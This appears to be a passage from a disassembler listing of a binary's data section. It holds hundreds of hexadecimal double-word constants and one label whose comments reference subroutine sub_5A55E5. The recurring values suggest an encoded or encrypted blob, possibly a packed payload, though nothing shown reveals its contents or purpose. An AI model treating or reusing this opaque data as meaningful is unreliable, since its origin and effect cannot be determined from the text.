		dd 93EFE95Eh, 0AA6B0C0Ch, 2B9431C7h, 698FC80Bh,	6644369Ch
		dd 39755215h, 779CB974h, 8F8FC80Bh, 66443207h, 5E02180Bh
		dd 28E0336Ch, 7989ED4Eh, 0EBA50674h, 3771E11Ah,	3D09BB4Eh
		dd 6689B01Ah, 0CBBD3215h, 66223AFCh, 0E9412E15h, 54CBD8B8h
		dd 9A02F535h, 53110CCBh, 554A8A45h, 20814B5Ah, 0C56AE9h
		dd 0E27390E9h, 9A67B36Ch, 1F8C2397h, 6645BB1Ah,	0EFDA3215h
		dd 9C3507A0h, 86095212h, 24896A86h, 66223CFCh, 1E427C15h
		dd 45DF9298h, 0D65DBD69h, 7FE44CCh, 66113EFCh, 9F86215h
		dd 411DD72Ch, 0A46BCE91h, 99E9B1D3h, 6626B71Ah,	8FB13215h
		dd 66223212h, 9EE3577Eh, 0E7E9A651h, 0BB99EF2Bh, 0F3A73DC8h
		dd 69113215h, 66883390h, 0DB11CE15h, 7E624E8Ah,	0E712D7D4h
		dd 8AC4D7D0h, 40A9B343h, 0E76F1E48h, 0C3436ED0h, 758EF54Bh
		dd 4F6E5B32h, 69CB6F3Bh, 47113215h, 82D43D25h, 0FB6D8FABh
		dd 0DFF3ED8h, 0DC43992Bh, 66883211h, 3A27F494h,	0B02308C8h
		dd 3A72DC94h, 6D208C8h,	8F95B973h, 66223219h, 53417024h
		dd 0DE360B93h, 6DD6E1BCh, 0D3ABCA74h, 61EB1620h, 9E373D75h
		dd 8F25CB9Eh, 99DDE6B7h, 661134FCh, 72B21A15h, 69ECAC68h
		dd 6622359Eh, 679A3D15h, 9F883215h, 647F2D4h, 662222FDh
		dd 45097415h, 19EB135Ah, 1253E1A9h, 0E64564B3h,	397052E7h
		dd 7152B344h, 3839BAF1h, 2BA73174h, 8F16C80Bh, 6688321Bh
		dd 0AD62135Dh, 4AB23917h, 0A5E32CF0h, 0DB0BBD3Eh, 61BE2BBCh
		dd 0EDA63D14h, 69113216h, 66883891h, 6641DB15h,	7F3215h
		dd 0E7A85413h, 0CC22982Bh, 0F2C13DBFh, 69223215h, 66113A9Ah
		dd 0ED875215h, 66443215h, 62CEB174h, 0DC35269Ch, 66883211h
		dd 691EE414h, 66223C9Ch, 6618DB15h, 4513215h, 838E014Eh
		dd 332B10F9h, 0DC3F3E7Dh, 42A4B922h, 6640F694h,	93A33215h
		dd 51AB1C19h, 3B745C9Ch, 664426FCh, 0E6E83615h,	0F3C2E82Ah
		dd 0B7BDFF89h, 1D4217D3h, 62A76B76h, 57E9033Dh,	9F7003D2h
		dd 0E60E8146h, 95A233FEh, 3DC9BAB5h, 66883EFCh,	2450C315h
		dd 66D5E780h, 92F6D186h, 66CBDB94h, 30243215h, 0A390B0AEh
		dd 36706C1Fh, 5A036A42h, 6280B331h, 69223215h, 66113991h
		dd 668EDB15h, 0C17D3215h, 4B7C73C0h, 0A6F98447h, 0B87E35FBh
		dd 0A8BADCC5h, 90A2E4E3h, 0EDE1BA7Ch, 0A2091601h, 66443211h
		dd 85AB61EDh, 6615F194h, 8D093215h, 66443211h, 3A062E92h
		dd 9A35369Ch, 4C558F96h, 694535EFh, 66239991h, 661CDB15h
		dd 0B163215h, 58CEB1FFh, 82E565A1h, 8F9B8B6Eh, 6688321Ch
		dd 4178260Eh, 0D02286E4h, 4AF78AB9h, 0B67F62DEh, 0E450D238h
		dd 91F2C525h, 0E7AE65C5h, 0E7BCE401h, 456D42FAh, 89A3755Bh
		dd 0E1119CCh, 69D7CA24h, 66442A98h, 6631DB15h, 609D3215h
		dd 5851DAA9h, 0C1BCD91Ch, 0CE5347FFh, 434C4BC9h, 1C35B13Eh
		dd 664C31D6h, 6645B61Ah, 0E31E3215h, 66883202h,	664420FCh
		dd 46DDD215h, 0D0007C92h, 11DE4496h, 6934826Fh,	0EB2A3D89h
		dd 6484BD88h, 669ADB1Dh, 90BF3215h, 0DE434979h,	0ABFD0C67h
		dd 6B024290h, 4A154FECh, 70A83D75h, 8F113215h, 66883204h
		dd 34C3867Bh, 72EABF85h, 0C4D2A95Eh, 0A159D600h, 92ACB29Bh
		dd 69F1CD74h, 66113690h, 3CD85215h, 0F67BB274h,	6663B61Ah
		dd 33E43215h, 668837A8h, 0C83B315h, 6740CA3Fh, 0CFEB3FAh
		dd 3BEACA3Fh, 664421FCh, 68DCCC15h, 0AD645666h,	2329853Eh
		dd 260E70A6h, 70C786C1h, 66105BFCh, 6E003D15h, 69443215h
		dd 6622309Ch, 0E5705215h, 0E48762EDh, 66443295h, 6628B21Ah
		dd 0D4713215h, 1556B39Fh, 74204B9h, 6636677Dh, 420DBB15h
		dd 0A97659A2h, 0E647DDD5h, 0A9A2E6DAh, 2BFEB2D5h, 93D3CA9Dh
		dd 62CFCABFh, 80AB6431h, 6615F494h, 0A00B3215h,	4270B511h
		dd 67A83D49h, 9A113215h, 0D261CBBFh, 6443215h, 66223DFCh
		dd 46442515h, 0B7A8AB28h, 0D08D0B1Eh, 2D685DFEh, 0A2A55274h
		dd 668820FCh, 6323F315h, 478644C4h, 0D031BABFh,	0BC7B9C99h
		dd 709D83Ah, 3E0606EAh,	6915F696h, 66883F94h, 664CDB15h
		dd 0A21E3215h, 0A3D1B9Fh, 8F22747Ch, 66443218h,	0BACA9BBAh
		dd 9DCEC7ACh, 42873ACDh, 993BB26Ch, 2AA73DFCh, 9A113215h
		dd 0A5F28F96h, 69443A16h, 66221B91h, 9D9A5215h,	750851Ah
		dd 0F2C6AF98h, 6CCB3A17h, 0F3113215h, 3DC83FBh,	44A653D0h
		dd 8FF1CDFAh, 66113213h, 50639DFFh, 351542B3h, 9FAAF59Dh
		dd 625EBA4Eh, 62083D4Ch, 6443215h, 0ED43E29Eh, 9C0F2390h
		dd 0E7EE5212h, 9300E7E7h, 0D975CE74h, 567831B2h, 0B97FEDE2h
		dd 485EF594h, 9E0BE595h, 63E91B4Ah, 616103D4h, 62FF61E0h
		dd 4F223215h, 420DB9CDh, 668CF694h, 6AAD3215h, 24223215h
		dd 0FD67CCA3h, 2E0F4859h, 93A0AAEAh, 68FCBBEh, 737D895h
		dd 0EF8CDE96h, 68F91639h, 911DB351h, 94E4B3C8h,	0EF484CAEh
		dd 6919CE7Bh, 6622359Ch, 0E7775215h, 7508EDCh, 99BF20FCh
		dd 6627DBEAh, 2E0B3215h, 0EF55B70Dh, 9C6007A0h,	0EF70CA12h
		dd 62D3B3F7h, 0E7883215h, 664436FFh, 4236B515h,	4205BB49h
		dd 66883CFCh, 0F198AC15h, 0BCD43331h, 4BBB0641h, 0E7107F0h
		dd 6644B215h, 62258E9h,	6619DBEDh, 15723215h, 4CC0E705h
		dd 9943E79Bh, 9C088FA0h, 6684DB12h, 0B5F53215h,	0F88B3F2Fh
		dd 9A852329h, 0E0875CECh, 66443219h, 662235FCh,	5841A15h
		dd 52BF0D46h, 6AA1A7EAh
		dd 6BCB35EFh, 6113215h,	7F3C2AB4h, 4DB0534Ah, 0FD2CE41Bh
		dd 3C3506EAh, 668CF694h, 72AD3215h, 5D223215h, 634BE4A7h
		dd 4C527643h, 7323E391h, 87754C42h, 0EDB4795Bh,	9C8A9798h
		dd 0DD17CB12h, 3C020122h, 0AAD833D2h, 7F8997CAh, 0E7602E9Eh
		dd 662236D1h, 661FDB15h, 87F63215h, 75CE0422h, 0A0AA628Ah
		dd 0E693026Bh, 66CDA47Dh, 4268BB15h, 662236A8h,	3BF83315h
		dd 66883DFCh, 0EC3E2315h, 5C4EF59Ah, 1943D655h,	5A3FD280h
		dd 64E1BF9Ch, 64235EFh,	0ED7077A6h, 2B6153CDh, 9EBBCDD2h
		dd 660ACEFCh, 9E71C715h, 642DBF9Eh, 0ED2435EFh,	9943CECBh
		dd 4225B324h, 30AD4D22h, 51F9674Ch, 5774176Ah, 0EFE96FFCh
		dd 654B4498h, 664FDB1Dh, 0BC663215h, 1C0B63Fh, 31F66500h
		dd 287CB3F4h, 696E7641h, 66116690h, 0E7EECE15h,	4808366Dh
		dd 6665B71Ah, 6EF83215h, 35883215h, 4295710Ah, 0E03C19Eh
		dd 66110CD1h, 38AC369Ch, 6648BD1Ah, 0E92D3215h,	66113213h
		dd 6688BB1Ah, 8AC53215h, 66223211h, 0D9350E9Ch,	66883213h
		dd 931BCC14h, 7E9FB79Eh, 8FED35EFh, 668836B4h, 52CF62ECh
		dd 62E6B131h, 8A90CBEDh, 66883211h, 3C60369Ch, 662237FCh
		dd 0DE95C115h, 0AFB9702Ah, 5AB89EEDh, 3AA63D15h, 93113214h
		dd 0E2871F29h, 99BBCDF8h, 66223BFCh, 2FEC5D15h,	74694194h
		dd 6247F47h, 0B4A88873h, 7F8FD95h, 759B973h, 0E24B1C29h
		dd 662232C7h, 661120FCh, 0B5913215h, 870CAD7h, 48BB2179h
		dd 8A9BABF2h, 5AB8FF6Ch, 0DFC63D25h, 6223211h, 7E4D59Fh
		dd 0E0870B29h, 99BBCD88h, 69630EEDh, 66159197h,	0D1875215h
		dd 80C554DDh, 5A434C61h, 0E4973D4Fh, 677CDEAh, 6657DBE9h
		dd 0D4273215h, 0FEAAC425h, 4213FCA5h, 8A665390h, 73D18DC4h
		dd 5AED53FEh, 380C3D4Ah, 6BBCDEAh, 66223CFDh, 2CEB8A15h
		dd 63EDA67Dh, 1E511C42h, 0FF1CFAh, 74BE19Eh, 0E4875329h
		dd 66443659h, 66223BFCh, 40CFC815h, 481562AFh, 1C78B736h
		dd 9905B41Ah, 0E21ECDEAh, 66883219h, 6642BE1Ah,	0E52D3215h
		dd 66113215h, 6689B21Ah, 8FB83215h, 6622360Dh, 66113FFCh
		dd 0B6F09215h, 707B5E2Fh, 489BA5C2h, 0DB44F7D2h, 66883214h
		dd 6919D814h, 66223590h, 679A3D15h, 9E883215h, 0E24BC02Ch
		dd 662231FDh, 67A962E0h, 4F883215h, 77AD6AD7h, 0E4223215h
		dd 99746451h, 8FC2B7CAh, 0A76235C3h, 4228A44Fh,	4215CD44h
		dd 0E5AC3E9Eh, 9AB836D1h, 99DC9AFCh, 6E903DEAh,	69883215h
		dd 66443091h, 0E3435215h, 0C7953DDCh, 8F883216h, 6644321Dh
		dd 0A652A9AFh, 8C775B59h, 4E9D8798h, 9E2435EFh,	47E9B373h
		dd 74F85335h, 0AB883215h, 8D681C29h, 715ADFE8h,	5F13D396h
		dd 9FFA8767h, 0B1CD6541h, 4216B342h, 57E46AA2h,	0D179B34Ch
		dd 3975C74Dh, 6633DA75h, 0FAEF3215h, 0BB93B9F9h, 0B6175445h
		dd 0C89A1F9Ah, 9EF9BC12h, 13A28C4Dh, 37251F06h,	0A9ABE39Ch
		dd 0E5353E9Eh, 756136D1h, 97443215h, 273BDC18h,	0C88E03AFh
		dd 0C5563329h, 0BF63667Eh, 0D6926C36h, 4A14D2D5h, 6271365Ch
		dd 4A451E5Bh, 138CCEDAh, 6601DBE8h, 0FD723215h,	0DA95D9A5h
		dd 0BDBAF28h, 8A03F1DEh, 6361DEB4h, 4F443215h, 364ED75Fh
		dd 38678C43h, 90093928h, 6A21B30h, 0E724DCD4h, 764EB6FBh
		dd 6566F341h, 0EBBFDC94h, 97233205h, 0E7E81B4Bh, 0C5DBE2FCh
		dd 6649DB00h, 1BA23215h, 92865EC7h, 33FA2B64h, 6515B48h
		dd 0E143C7E0h, 21C6C5ECh, 670CB92h, 664422FDh, 2EEFB315h
		dd 0E87ABF90h, 0FF176051h, 3885F047h, 96953DB8h, 6602DB4Ah
		dd 89FC3215h, 861024BFh, 21D0E869h, 9F3F213Eh, 0AA53BC8Dh
		dd 0A1C55351h, 513232Ah, 0DE41FD3Ch, 5B9232Ah, 61CF53Ch
		dd 9AD2B973h, 57E60374h, 9A7F03EBh, 36BC96E6h, 21E4A5A1h
		dd 0DF40A5EAh, 9977CDEAh, 4774CB14h, 77CB6A4Ch,	24113215h
		dd 0FE3D1248h, 1E13BD8Fh, 0B9F33E94h, 0C3487172h, 4E9DA798h
		dd 8FB135EFh, 6622321Eh, 7C74B16Eh, 2754A28Eh, 0EDAE80F2h
		dd 9C169F90h, 8E71CB12h, 6688321Dh, 0DF7E65A4h,	0BE5211BEh
		dd 65943D4Dh, 0E6883215h, 0E3255BF1h, 0F7A73DD5h, 8F113215h
		dd 6688321Eh, 6D27BF18h, 0EF0B93E6h, 690A2FFBh,	66882098h
		dd 6649DB15h, 0FA8E3215h, 0BA3222Fh, 0F4640703h, 0A0CE08EBh
		dd 9C374390h, 0EE47512h, 0B21295C7h, 71CD3D75h,	8F223215h
		dd 66113207h, 9533AD71h, 0A70FF844h, 8A5ACE90h,	0C78CC752h
		dd 7744CA6h, 66443CFCh,	0EEDC4215h, 3075CC21h, 0FF08A6D0h
		dd 9985B418h, 9C3CBFA0h, 679E3D12h, 9F883215h, 5C1CB798h
		dd 6CCB35EBh, 4113215h,	0C2011D9Ah, 2E2BABA7h, 6F2CDC2h
		dd 74284E9h, 66F6C37Dh,	4250BB15h, 0BCA95475h, 2BB7D4AAh
		dd 0B6775323h, 6643BD1Ah, 0ED2D3215h, 66113214h, 6948B7ECh
		dd 6644AE90h, 6631DB15h, 4B613215h, 0BF0DBED6h,	0F13B7664h
		dd 5991D84h, 0F92D1E0Ch, 0CF0DB9D6h, 9F43C80Eh,	0E32DF290h
		dd 66113227h, 170DF4E9h, 2A43C800h, 7ACB5AE9h, 99E4EBCFh
		dd 9C96BFA0h, 0E3C9CA12h, 61DC084Dh, 66113AFCh,	80F3A915h
		dd 0FA05119Fh, 69F2CDACh, 6611339Eh, 6AE0CE15h,	0EF443277h
		dd 421601h, 0D977CC9Eh,	99E9675Eh, 63AC52C5h, 0B6223215h
		dd 8A2D1907h, 668838FCh, 0B027B015h, 0B30BD7DCh, 38FD5486h
		dd 1358B373h, 0A6C1539Dh, 6625B71Ah, 8FE83215h,	66883285h
		dd 10C1BBEDh, 62A31D6h,	0D1E095h, 6C53F994h, 0EF14CA74h
		dd 662637F5h, 623C3215h, 0E1883215h, 0EF181611h, 6FCB1611h
		dd 7113215h, 0A23EDA26h, 88A0BEE1h, 0E7C4BB43h,	661136D3h
		dd 6266B115h, 3A600692h, 8F06069Ch, 66113213h, 0E804A491h
		dd 0E3C93A72h, 61DC6EA0h, 8FC1CDEDh, 66883205h,	7A66431Ah
		dd 7E274EB4h, 0A433558Dh, 1192D64h, 35328475h, 6622B11Ah
		dd 7493215h, 0E387F21Eh, 66443212h, 6624DBE0h, 0EFED3215h
		dd 9A941651h, 8BF05274h, 6620B31Ah, 7713215h, 71083D74h
		dd 69443215h, 6622239Ch, 661DDB15h, 424F3215h, 0AE77F324h
		dd 0B1426C5Fh, 9AD251A4h, 6D043D75h, 6443215h, 0BDD3BDAAh
		dd 0DCAE547Bh, 0EB035391h, 6E47F163h, 662238FCh, 455B0515h
		dd 0F734B794h, 3494D7D3h, 0A4A3D09Ch, 66113211h, 0E18CD896h
		dd 0EF181601h, 6CCB1611h, 53113215h, 0AB5F73Ch,	6A05011Dh
		dd 62CEB104h, 0EF35069Ch, 3878BBDBh, 0D94B5275h, 76585E6h
		dd 66963D75h, 0DF883215h, 25CF0F31h, 35705374h,	66110EAEh
		dd 3D52BB15h, 6447F014h, 0D6DDCA4Fh, 6611329Dh,	0E7AC269Eh
		dd 664436D1h, 662EDB15h, 34E63215h, 5ADA8975h, 97891250h
		dd 63CBECD7h, 45113215h, 87E4B602h, 4ED9A79Ch, 8F4235EFh
		dd 66113213h, 0BE2CCD51h, 0E54B197Eh, 66223217h, 3170F89Eh
		dd 5CC060AAh, 6783B147h, 0DE87F594h, 9E109FD0h,	1677CB4Ah
		dd 4268B319h, 40764D11h, 3CAA614Fh, 0E7F0240Eh,	0C2256BFEh
		dd 63C1F336h, 5935C194h, 0BC899A76h, 60C23D4Eh,	6223215h
		dd 10808B73h, 231DBB74h, 6943C807h, 66223696h, 9AE95215h
		dd 428CB974h, 0E7A6BB47h, 662236D7h, 62D3B115h,	3AAC2692h
		dd 664BDB75h, 3FCE3215h, 74A2A7EDh, 31A26DE9h, 0D06A8F8h
		dd 0DD446460h, 748B17Ch, 42AC46EAh, 0E560369Eh,	0E92D36D1h
		dd 66113204h, 66883EFCh, 2315C615h, 70BAC3F6h, 141F7D7Fh
		dd 423765B1h, 676EC762h
		dd 0AE0B6DEDh, 93661638h, 0DC71523Fh, 20E65770h, 0B0A35274h
		dd 52A1A70Eh, 230D0974h, 6943C807h, 66227197h, 0E7715215h
		dd 883AF1D4h, 783B90Dh,	0FBA70974h, 6916C83Dh, 66881996h
		dd 0BD5215h, 743F99Eh, 661AB21Ah, 60613215h, 70443215h
		dd 0FB57DC04h, 6615F034h, 6681DB75h, 0B8BE3215h, 0FB728833h
		dd 794113Bh, 624FCE74h,	263D0B31h, 4206F327h, 423DF313h
		dd 7A316311h, 67B2CC0Eh, 3F261659h, 4255F5EDh, 0F7FD2811h
		dd 4228B36Bh, 99DDCD11h, 4275B3EAh, 0CCA77611h,	4230B356h
		dd 0E6073211h, 661CDB57h, 67DE3215h, 1E959D25h,	8AB97Eh
		dd 0EB51AAEh, 66883210h, 0E560369Eh, 0EBDE36D1h, 9C5E6198h
		dd 68043D12h, 8F443215h, 6622321Ch, 0CD5DA8FAh,	7970C121h
		dd 8FA5CD8Bh, 66223213h, 8A2F40ADh, 69E8B7D8h, 66443390h
		dd 0ED2DCB15h, 6611321Dh, 668ABB1Ah, 7243215h, 66228B44h
		dd 97103215h, 6A03339Fh, 6280B331h, 93223215h, 0E21EDB29h
		dd 6688337Fh, 6643BA1Ah, 36423215h, 7AD5B24Bh, 0E3875274h
		dd 66443213h, 6622BD1Ah, 0AD913215h, 8EB4533Ch,	673DB61Ah
		dd 63CB3215h, 18113215h, 675DD57Fh, 0E24B3D29h,	6622327Ah
		dd 91AE3D75h, 668820FCh, 0BBB1B515h, 7827608Fh,	94769A87h
		dd 0E0135267h, 79C20A2h, 6625B61Ah, 0E11E3215h,	66883214h
		dd 69890EE9h, 6623A691h, 6619DB15h, 20253215h, 45B1674Fh
		dd 8D1EB24Fh, 67DBB61Ah, 72613215h, 0F7443215h,	5C526772h
		dd 0E428C099h, 0F2B29AFAh, 0E1583A5Ah, 7C2389Fh, 0E671F1EDh
		dd 0E28794F8h, 66443217h, 37432DA1h, 661133ACh,	0EC793315h
		dd 4248B90Ch, 6626F694h, 61F83215h, 0F1883215h,	3608CB2Fh
		dd 8F42DECAh, 66113218h, 0ECF55A2Ch, 9A1E95FDh,	32D401D2h
		dd 649D3D15h, 36883215h, 0D016534Dh, 8DCCB2CEh,	729AC135h
		dd 624CB131h, 6650DB75h, 509C3215h, 0AE088526h,	0AE6892F5h
		dd 8731E884h, 3070F769h, 0EA1E8B7Eh, 66883215h,	0E6BFB274h
		dd 995FB71Ah, 0EE4CDEAh, 66886B9Eh, 3D60069Ch, 609860EDh
		dd 67113215h, 429CB9C6h, 6640F694h, 8FDA3215h, 6611321Dh
		dd 0B069BD41h, 0E836DADAh, 6626DE94h, 6A983215h, 668A8B31h
		dd 97453215h, 8F7B2B16h, 66113212h, 0F67D0292h,	9F7C3283h
		dd 6622BFFCh, 0DF40CA15h, 66883214h, 7FCFC314h,	0E5063E9Eh
		dd 0D57136D1h, 3EDF61D6h, 9DC7534Eh, 0AEA63DEEh, 8F113215h
		dd 6688321Ah, 0E45083BBh, 0B744E69h, 68CC7367h,	0E3CB345h
		dd 664460F9h, 3D06069Ch, 67AB60ECh, 0E7883215h,	0FA298DD7h
		dd 0E7D03368h, 0FA7C8DFFh, 3C923168h, 6656DB75h, 1CAB3215h
		dd 117621C7h, 0AD18B240h, 4971D9D1h, 729DAE8Ah,	3170F19Eh
		dd 668837AAh, 0EDBF3315h, 0A2A31629h, 66113211h, 668CB61Ah
		dd 36243215h, 0FACB534Fh, 9AEECDEBh, 383E3DE0h,	8DC7C714h
		dd 0EAA63D3Bh, 8FEECDEBh, 6688321Dh, 0BBFC0F3h,	90910BD0h
		dd 661137FCh, 0B7032015h, 4AAD82C9h, 6223215h, 72F9F19Eh
		dd 0F2883215h, 0C7F483E7h, 5EC47B5Dh, 0F0135E5Ah, 0D0ADC497h
		dd 0E6235B6Ah, 77AF3CFh, 98104C95h, 98CDB71Ah, 8FB1CDEAh
		dd 99DDCEE1h, 0D8498775h, 608C784Ch, 664FDB74h,	0E4673215h
		dd 4E971096h, 0B81F345Ch
		db 0ECh
byte_64478D	db 5Ah,	58h, 2Bh	; DATA XREF: sub_5A55E5+411Bo
					; sub_5A55E5+4123o
		dd 52AB3215h, 0BD905231h, 786DF6C6h, 664438FCh,	0DC6E6915h
		dd 0AC068B0Bh, 758F144h, 664439FCh, 2538CF15h, 45A6DF77h
		dd 0B025F189h, 0EF40DE96h, 6421619h, 7CDBB373h,	0B0035401h
		dd 0EF155374h, 62E3B3F4h, 0E7113215h, 668836FCh, 4248B515h
		dd 423EBB49h, 6603BF1Ah, 6B613215h, 4B443215h, 898DDC7Eh
		dd 56FB9A6Ah, 64152ECBh, 660D347Dh, 421EBB15h, 66113FFCh
		dd 8868E415h, 69314203h, 0D4AB17DEh, 0A620D899h, 69E89EE0h
		dd 66443796h, 0C09E8815h, 7E95F88h, 364EBA47h, 0A5CCC29Dh
		dd 0ED42684Dh, 16AA54CBh, 0EEE53DFh, 0EF22758Fh, 96931619h
		dd 3F77F935h, 1673B2E9h, 6048B61Ah, 61CB3215h, 0CE113215h
		dd 0D0FB3282h, 6978B1F8h, 66F8B61Ah, 0E61E3215h, 66883234h
		dd 66C33D75h, 8F223215h, 66113201h, 0C82F9EE4h,	57AB7301h
		dd 0B18E33AFh, 9958D148h, 0A00F5AC6h, 69AD0E74h, 66291091h
		dd 769C3D15h, 8F883215h, 6644321Eh, 0FD8B023Eh,	0A5CE7F4Ch
		dd 5AD3B253h, 99C03DFEh, 6922321Bh, 66113F95h, 0B0095215h
		dd 46A7DC85h, 68CBB373h, 852D53F3h, 6519B61Ah, 9ABC3215h
		dd 0E22DD029h, 6611224Bh, 6689BF1Ah, 0EDBD3215h, 0EF741629h
		dd 62D7B3F3h, 0E7883215h, 664436D3h, 4216B515h,	7A9ACE49h
		dd 81016531h, 6640F594h, 0A1A13215h, 422DB511h,	6A03CA49h
		dd 83CD6731h, 6626F794h, 0A3903215h, 66883211h,	3A601E92h
		dd 4216CDEDh, 62D5B14Bh, 7761F1ECh, 37443215h, 40491788h
		dd 0FC5C3078h, 97AE4537h, 8C45E270h, 0A264B7D2h, 66173A16h
		dd 8EE83215h, 66443219h, 0DF8D1A29h, 0B2DAB243h, 16337C84h
		dd 46298B4Ch, 364367F2h, 661132ADh, 5C2B1F15h, 9645274Ch
		dd 3F189110h, 3E09B800h, 668FBB1Ah, 0E04B3215h,	66223214h
		dd 297954E9h, 6A015439h, 46B48731h, 8F7B54FEh, 6611321Eh
		dd 0D4739B45h, 0B7584083h, 0E690BD5Ah, 0E31EB2EEh, 9977CD26h
		dd 6650B01Ah, 69CB3215h, 9A113215h, 724DE472h, 0F0807AA3h
		dd 0D43B03D9h, 1C79CDE9h, 0EF88326Ah, 6ABB1621h, 0E32D6C31h
		dd 66113213h, 0EDEECA75h, 0E3CF53EBh, 61D811E4h, 0F39ACAE0h
		dd 617211ECh, 665EBE1Ah, 9F423215h, 661123FDh, 8C158615h
		dd 922A646h, 7A1F87CAh,	842317BFh, 7D39600h, 0EFB6BB47h
		dd 4236B9C6h, 8F15F696h, 6688321Bh, 160E60C4h, 26A76F8Ch
		dd 64398B6Ch, 0D8DE7EEFh, 66443213h, 52A9C114h,	62D5B331h
		dd 9E883215h, 0AFF96745h, 0DE295711h, 6D7436DEh, 67D5DA24h
		dd 3E5C31E5h, 6628DA75h, 0C5E43215h, 0F5D8221Dh, 78B95026h
		dd 64A43D4Dh, 37113215h, 0BEB3534Fh, 6658B01Ah,	0EC423215h
		dd 5D70CACCh, 60E3DCFh,	69BBCDEBh, 66223B91h, 0E7775215h
		dd 0EDA8F8CAh, 0DF1553CAh, 446408ADh, 0C7F8B35Ch, 4F556BF6h
		dd 9D6D6BDEh, 3134F194h, 697176F9h, 66883795h, 0ED258815h
		dd 0D92D47DAh, 8F7153DBh, 6688321Fh, 0B2A44EF3h, 704DD501h
		dd 0ED770FD2h, 0D9DF53E2h, 66443213h, 5AA9C93Ch, 62D5B331h
		dd 69883215h, 6644339Dh, 0CB44CE15h, 661120FCh,	0E963A415h
		dd 4A2AC60Bh, 8EB3343Eh, 547F3041h, 0B35128h, 3514CABEh
		dd 423EB94Dh, 8F15F696h, 66883207h, 9550429Ah, 0A3A222CDh
		dd 799EE00Bh, 55B7DDFAh, 6EFC37Bh, 69A53DEDh, 8F113215h
		dd 6688321Fh, 0D66D746Fh, 2307FDDCh, 31701C6Ah,	668C8847h
		dd 0B1CD3215h, 39DC334Fh, 422DBBEDh, 6698DBE0h,	86733215h
		dd 0CA67322Ch, 0CD7E408Eh, 3723A55Ch, 12CD96A7h, 0DE423E31h
		dd 7F22AA2Ah, 0C341E4ACh, 0D3CD5324h, 61D81238h, 0BDA63D75h
		dd 66883DFCh, 95D18A15h, 0FFFDD11Eh, 0F1C4807h,	3FABBF0h
		dd 4270CD74h, 62E6B14Ah, 660FB71Ah, 0E7873215h,	6644320Dh
		dd 662221FCh, 0CA234515h, 85DF52CBh, 0B00D6A5Eh, 0ACF21AB2h
		dd 6D8C7511h, 3DAC06EAh, 6640F694h, 0E02D3215h,	66113200h
		dd 6687BB1Ah, 6CAD3215h, 11223215h, 0D93CC6A6h,	0ED5D23AAh
		dd 6ACFCBF7h, 84AB6031h, 6615F094h, 0A40B3215h,	4250B511h
		dd 61A63D49h, 69113215h, 6688339Bh, 52BBCE15h, 0A2A16C31h
		dd 6F913D11h, 6883215h,	66CB3DEDh, 7223215h, 666C617Dh
		dd 42BCBB15h, 0A0C5D49Ch, 66223211h, 0E115F496h, 69D41621h
		dd 66442B97h, 6636DB15h, 8BA43215h, 0C7FF11D5h,	0E4D9AE90h
		dd 2A8D077Eh, 83EC81BBh, 0B361D3D0h, 69BBCDF4h,	66223894h
		dd 0D6A25215h, 6688BC1Ah, 0A1253215h, 65E67490h, 6611301Dh
		dd 68615215h, 0F1443215h, 0B95D8E5Eh, 13F2B10h,	294E397Dh
		dd 664ADABFh, 3033215h,	76740315h, 919A3662h, 5410EAF2h
		dd 0FDCBD3AAh, 31706918h, 428CB343h, 0D247507h,	74CDB34Ah
		dd 0EF7A5252h, 0E0876DEEh, 66443219h, 6624B41Ah, 0E71E3215h
		dd 66883215h, 694A841Ah, 66222691h, 8FED5215h, 66883219h
		dd 95936039h, 3D06D358h, 58E40CB8h, 0E671B274h,	661AB11Ah
		dd 0E02D3215h, 66113210h, 0FE6EB275h, 4087B374h, 0E769210Fh
		dd 701E22FEh, 0E743331Fh, 704B22D6h, 40C9B31Fh,	65A210Fh
		dd 0AF7FB373h, 0A5CF549Bh, 3D706174h, 0B596704Fh, 6680B41Ah
		dd 0E54B3215h, 66223217h, 69F85375h, 51883215h,	7F9021CCh
		dd 69C28F2Ah, 23C80399h, 0DB61E22Eh, 9F443215h,	0D1716073h
		dd 6EFEF274h, 0EE77F595h, 0B76C69EFh, 74CB6873h, 9F113215h
		dd 36EE4D58h, 1685AEFCh, 0F8EE0763h, 0B99A227Ch, 66885AA4h
		dd 6A6D3215h, 422EB931h, 6615F694h, 75613215h, 0C3443215h
		dd 0FEC87295h, 8EB26FCh, 2CEB640Fh, 0BA79C7F2h,	0DD710469h
		dd 3F263182h, 0B57FE9E2h, 3005C194h, 8DA30199h,	3B337788h
		dd 764D8847h, 0B5753F8Ch, 3DFB134Fh, 661126FCh,	0CFFFA915h
		dd 0A4283DD5h, 0F4943CDEh, 0D8ED51E5h, 0CA8A0010h, 53AFB35Bh
		dd 0E735BF6Ah, 2F11E7D6h, 0E7431B35h, 2F44E7FEh, 53E1B335h
		dd 8F06BF6Ah, 66883205h, 990BF3A0h, 0BFA6C08Ch,	8132C2C7h
		dd 0BB645CA1h, 45B5B79Eh, 0EDD735EFh, 9C32CB80h, 97095212h
		dd 57F11886h, 22DB8C73h, 0C7ACB174h, 678FC83Eh,	6265B61Ah
		dd 0EA2D3215h, 66113214h, 694B0BECh, 66402097h,	6DA63D15h
		dd 8F113215h, 66883213h, 2A4A3319h, 0B51B1D6Ah,	9C84B01Ah
		dd 8F71CDEAh, 664431E6h, 662ABE1Ah, 0E6713215h,	0BC08DAC1h
		dd 0E3835362h, 6E21F653h, 66113217h, 668839FCh,	5003E515h
		dd 6524CF8Fh, 60F256C4h, 91016544h, 0EF1BCB9Ch,	6426BDEh
		dd 0D3E7B3EDh, 7FC5F2Fh, 0C22D894h, 69430194h, 0EB1E3CA3h
		dd 6688321Dh, 6646B91Ah, 7423215h, 6991CB95h, 66887196h
		dd 0A5C5CB15h, 25377C91h, 16D0D994h, 0AD895963h, 1685F194h
		dd 8DA35963h, 25047C91h, 2173B5EDh, 391F6546h, 6625B81Ah
		dd 0E21E3215h, 66883214h, 6689DBEDh, 0EA2D3215h, 6611321Dh
		dd 660F3D75h, 7443215h,	0B6A88146h, 62F2F2FEh, 0E667F995h
		dd 0A7C432E6h, 0E6FB1AC9h, 64AEEFCh, 66883CFCh,	85173515h
		dd 0F46D0C32h, 38C6DAh,	69A1AA3Fh, 6644349Fh, 66A63D15h
		dd 7113215h, 6688327Dh,	4268B315h, 68897EEEh, 0E7353E3Ch
		dd 2A731611h, 61D3CBEh,	6620B51Ah, 7713215h, 668EB91Ah
		dd 0B4C53215h, 17C17CAEh, 171B5A74h, 52013215h,	66BB8C31h
		dd 97033215h, 78933D4Bh, 69883215h, 66442A9Fh, 6631DB15h
		dd 476E3215h, 0D6E1CCA6h, 3286659Ch, 0C4860BE9h, 59B260B5h
